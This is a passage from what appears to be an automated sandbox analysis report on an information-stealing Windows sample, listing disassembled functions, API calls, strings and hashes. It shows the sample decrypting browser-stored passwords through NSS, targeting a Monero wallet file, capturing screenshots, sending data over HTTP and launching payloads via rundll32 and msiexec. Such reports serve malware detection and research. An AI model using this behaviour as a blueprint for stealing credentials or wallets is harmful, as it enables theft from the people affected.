GetModuleHandleW.KERNEL32(00000000), ref: 6C5746F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C5746FD

Strings

l, xrefs: 6C574578
G^l, xrefs: 6C5744FC
NativeNtBlockSet_Write, xrefs: 6C5746F7
kernel32.dll, xrefs: 6C5744CD
user32.dll, xrefs: 6C574557, 6C57463F
WRusr.dll, xrefs: 6C5744B5

Memory Dump Source

Source File: 00000006.00000002.1565349996.000000006C561000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000006.00000002.1565331096.000000006C560000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565425385.000000006C5EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c560000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: G^l$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3131846712
Opcode ID: 4d49b962cd650a74e263e54c69254b4f7c938b3a19b0d57250e16441b261cdbe
Instruction ID: b732824e28f3fbc86af423b18f50ddfab73343a753c9c75b0e4514867ca0a135
Opcode Fuzzy Hash: 4d49b962cd650a74e263e54c69254b4f7c938b3a19b0d57250e16441b261cdbe
Instruction Fuzzy Hash: C86149B0A04344AFEB209F65DC09B997BF8EF4E309F05C658E5049B641DBB09AC5CFA5

Function 00D94880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479networkstringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00DAA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00DAA7E6

Part of subcall function 00D947B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00D94839
Part of subcall function 00D947B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00D94849

Part of subcall function 00DAA740: lstrcpy.KERNEL32(00DB0E17,00000000), ref: 00DAA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00D94915
StrCmpCA.SHLWAPI(?,0194EED0), ref: 00D9493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00D94ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00DB0DDB,00000000,?,?,00000000,?,",00000000,?,0194EFF0), ref: 00D94DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00D94E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00D94E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00D94E49
InternetCloseHandle.WININET(00000000), ref: 00D94EAD
InternetCloseHandle.WININET(00000000), ref: 00D94EC5
HttpOpenRequestA.WININET(00000000,0194EEE0,?,0194E4A0,00000000,00000000,00400100,00000000), ref: 00D94B15

Part of subcall function 00DAA9B0: lstrlen.KERNEL32(?,019497D0,?,\Monero\wallet.keys,00DB0E17), ref: 00DAA9C5
Part of subcall function 00DAA9B0: lstrcpy.KERNEL32(00000000), ref: 00DAAA04
Part of subcall function 00DAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DAAA12

Part of subcall function 00DAA8A0: lstrcpy.KERNEL32(?,00DB0E17), ref: 00DAA905

Part of subcall function 00DAA920: lstrcpy.KERNEL32(00000000,?), ref: 00DAA972
Part of subcall function 00DAA920: lstrcat.KERNEL32(00000000), ref: 00DAA982

InternetCloseHandle.WININET(00000000), ref: 00D94ECF

Strings

", xrefs: 00D94BF2
------, xrefs: 00D94B28
------, xrefs: 00D949BD
------, xrefs: 00D94C69
", xrefs: 00D94D33

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: 94088e00abd7bb3e5665ae87eb4937cfaa83c60ce55975ebe3d854021d1a5061
Instruction ID: 7a3de1a108438c188b476fddf73a4a3c83253ea417f5628d374128ee6e55ec2d
Opcode Fuzzy Hash: 94088e00abd7bb3e5665ae87eb4937cfaa83c60ce55975ebe3d854021d1a5061
Instruction Fuzzy Hash: 9C12E972910118AADB55EBA4DCA2FEEB379EF16300F504299B10762091EF742F49CF76

Function 00D9C990 Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

NSS_Init.NSS3(00000000), ref: 00D9C9A5

Part of subcall function 00DAA740: lstrcpy.KERNEL32(00DB0E17,00000000), ref: 00DAA788

Part of subcall function 00DAA920: lstrcpy.KERNEL32(00000000,?), ref: 00DAA972
Part of subcall function 00DAA920: lstrcat.KERNEL32(00000000), ref: 00DAA982

Part of subcall function 00DAA8A0: lstrcpy.KERNEL32(?,00DB0E17), ref: 00DAA905

Part of subcall function 00DAA9B0: lstrlen.KERNEL32(?,019497D0,?,\Monero\wallet.keys,00DB0E17), ref: 00DAA9C5
Part of subcall function 00DAA9B0: lstrcpy.KERNEL32(00000000), ref: 00DAAA04
Part of subcall function 00DAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DAAA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,0194D7C0,00000000,?,00DB144C,00000000,?,?), ref: 00D9CA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00D9CA89
GetFileSize.KERNEL32(00000000,00000000), ref: 00D9CA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00D9CAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 00D9CAD9
StrStrA.SHLWAPI(?,0194D8B0,00DB0B52), ref: 00D9CAF7
StrStrA.SHLWAPI(00000000,0194D7D8), ref: 00D9CB1E
StrStrA.SHLWAPI(?,0194E1E0,00000000,?,00DB1458,00000000,?,00000000,00000000,?,01949600,00000000,?,00DB1454,00000000,?), ref: 00D9CCA2
StrStrA.SHLWAPI(00000000,0194E2C0), ref: 00D9CCB9

Part of subcall function 00D9C820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00D9C871
Part of subcall function 00D9C820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00D9C87C
Part of subcall function 00D9C820: PK11_GetInternalKeySlot.NSS3 ref: 00D9C88A
Part of subcall function 00D9C820: PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 00D9C8A5
Part of subcall function 00D9C820: PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 00D9C8EB
Part of subcall function 00D9C820: PK11_FreeSlot.NSS3(?), ref: 00D9C961

StrStrA.SHLWAPI(?,0194E2C0,00000000,?,00DB145C,00000000,?,00000000,01949510), ref: 00D9CD5A
StrStrA.SHLWAPI(00000000,01949750), ref: 00D9CD71

Part of subcall function 00D9C820: lstrcat.KERNEL32(?,00DB0B46), ref: 00D9C943
Part of subcall function 00D9C820: lstrcat.KERNEL32(?,00DB0B47), ref: 00D9C957
Part of subcall function 00D9C820: lstrcat.KERNEL32(?,00DB0B4E), ref: 00D9C978

lstrlen.KERNEL32(00000000), ref: 00D9CE44
CloseHandle.KERNEL32(00000000), ref: 00D9CE9C
NSS_Shutdown.NSS3 ref: 00D9CEAA

Strings

, xrefs: 00D9C9C6

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$K11_lstrlen$PointerSlot$AuthenticateBinaryCloseCreateCryptDecryptFreeHandleInitInternalReadShutdownSizeString
String ID:
API String ID: 1052888304-3916222277
Opcode ID: ff386ec3bbacac1ab9ae8ed603f02b3342440d678de9131487934141fec06099
Instruction ID: 927a2f13934cd87f13ee37640c909f8059c6bc626c9f5589a5c521462f5e9b58
Opcode Fuzzy Hash: ff386ec3bbacac1ab9ae8ed603f02b3342440d678de9131487934141fec06099
Instruction Fuzzy Hash: E2E1F872910108ABDB54EBA8DC92FEEB779EF15300F404259F106A6191EF346A4ACF76

Function 00DA9010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00DA906C

Strings

image/jpeg, xrefs: 00DA9136

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 7328d2791b5070a20268f6a5c92e378c0b6cbd6fd590b109ccd0d9c52f4e1f00
Instruction ID: bcdbde1aa4a47a9334fff66a02443c20137541a7c09f809e4e210f66e7a3c749
Opcode Fuzzy Hash: 7328d2791b5070a20268f6a5c92e378c0b6cbd6fd590b109ccd0d9c52f4e1f00
Instruction Fuzzy Hash: 0C71E7B5A10208ABDB04EBF4DD99FEEB7B9EB48300F108509F515A7290DB34E905DB75

Function 6C5BD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5BD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5BD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5BD52A
GetCurrentThreadId.KERNEL32 ref: 6C5BD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5BD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5BD55F
free.MOZGLUE(00000000), ref: 6C5BD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C5BD5D3
GetCurrentThreadId.KERNEL32 ref: 6C5BD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5BD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5BD652
GetCurrentThreadId.KERNEL32 ref: 6C5BD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5BD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5BD6A2

Memory Dump Source

Source File: 00000006.00000002.1565349996.000000006C561000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000006.00000002.1565331096.000000006C560000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565425385.000000006C5EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c560000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 4ce5c60a0fc9c03ece4a6a959527578fcbfdf1de85f92e96d7f2e3110bf61028
Instruction ID: 64b3f75f627288bb5b989a41888af3c402e1ef5f724254a34703991bad291d1c
Opcode Fuzzy Hash: 4ce5c60a0fc9c03ece4a6a959527578fcbfdf1de85f92e96d7f2e3110bf61028
Instruction Fuzzy Hash: 52519C71604705DFC744DF34C888A9ABBF4FF89318F018A2EE85A97711EB30A844CB99

Function 00DA17A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 00DA17C5
ExitProcess.KERNEL32 ref: 00DA17D1

Strings

block, xrefs: 00DA17B7

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: 354707269e9e50aa8930c5949790dde1491774b51c6bfc3bf593a0eba6523c5c
Instruction ID: 5f947f27c44993034aed3c1a5e9c3721f89e68f67d08a116b618a550773ac06a
Opcode Fuzzy Hash: 354707269e9e50aa8930c5949790dde1491774b51c6bfc3bf593a0eba6523c5c
Instruction Fuzzy Hash: 835144B8A00209EFCB14DFA4D954BBF7BB6AF45304F108049E816AB290D774E945EB72

Function 00DA2E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 00DAA740: lstrcpy.KERNEL32(00DB0E17,00000000), ref: 00DAA788

ShellExecuteEx.SHELL32(0000003C), ref: 00DA31C5
ShellExecuteEx.SHELL32(0000003C), ref: 00DA335D
ShellExecuteEx.SHELL32(0000003C), ref: 00DA34EA

Strings

"" , xrefs: 00DA309A
<, xrefs: 00DA3490
.msi, xrefs: 00DA3398
C:\Windows\system32\msiexec.exe, xrefs: 00DA34BF
/i ", xrefs: 00DA33E4
.dll, xrefs: 00DA31E5
C:\Windows\system32\rundll32.exe, xrefs: 00DA3332
/passive, xrefs: 00DA345B

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 109f587b0aea88cff3b525bed565404f953835e672feb4e4d28c73153cc32e5a
Instruction ID: 25e46408504689f4e25b865910181c0226f00c5b2e4053c772a21b06e26f6409
Opcode Fuzzy Hash: 109f587b0aea88cff3b525bed565404f953835e672feb4e4d28c73153cc32e5a
Instruction Fuzzy Hash: A11209718001189ADB49EBA4DC92FEEB778EF15300F508669F50766191EF346B4ACFB2

Function 6C5AEC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C574A68), ref: 6C5A945E
Part of subcall function 6C5A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5A9470
Part of subcall function 6C5A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5A9482
Part of subcall function 6C5A9420: __Init_thread_footer.LIBCMT ref: 6C5A949F

GetCurrentThreadId.KERNEL32 ref: 6C5AEC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5AEC8C

Part of subcall function 6C5A94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5A94EE
Part of subcall function 6C5A94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5A9508

GetCurrentThreadId.KERNEL32 ref: 6C5AECA1
AcquireSRWLockExclusive.KERNEL32(6C5EF4B8), ref: 6C5AECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C5AECC5
ReleaseSRWLockExclusive.KERNEL32(6C5EF4B8), ref: 6C5AED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C5AED19
CloseHandle.KERNEL32(?), ref: 6C5AED28
free.MOZGLUE(00000000), ref: 6C5AED2F
ReleaseSRWLockExclusive.KERNEL32(6C5EF4B8), ref: 6C5AED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C5AEC94

Memory Dump Source

Source File: 00000006.00000002.1565349996.000000006C561000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000006.00000002.1565331096.000000006C560000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565425385.000000006C5EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c560000_file.jbxd

Similarity

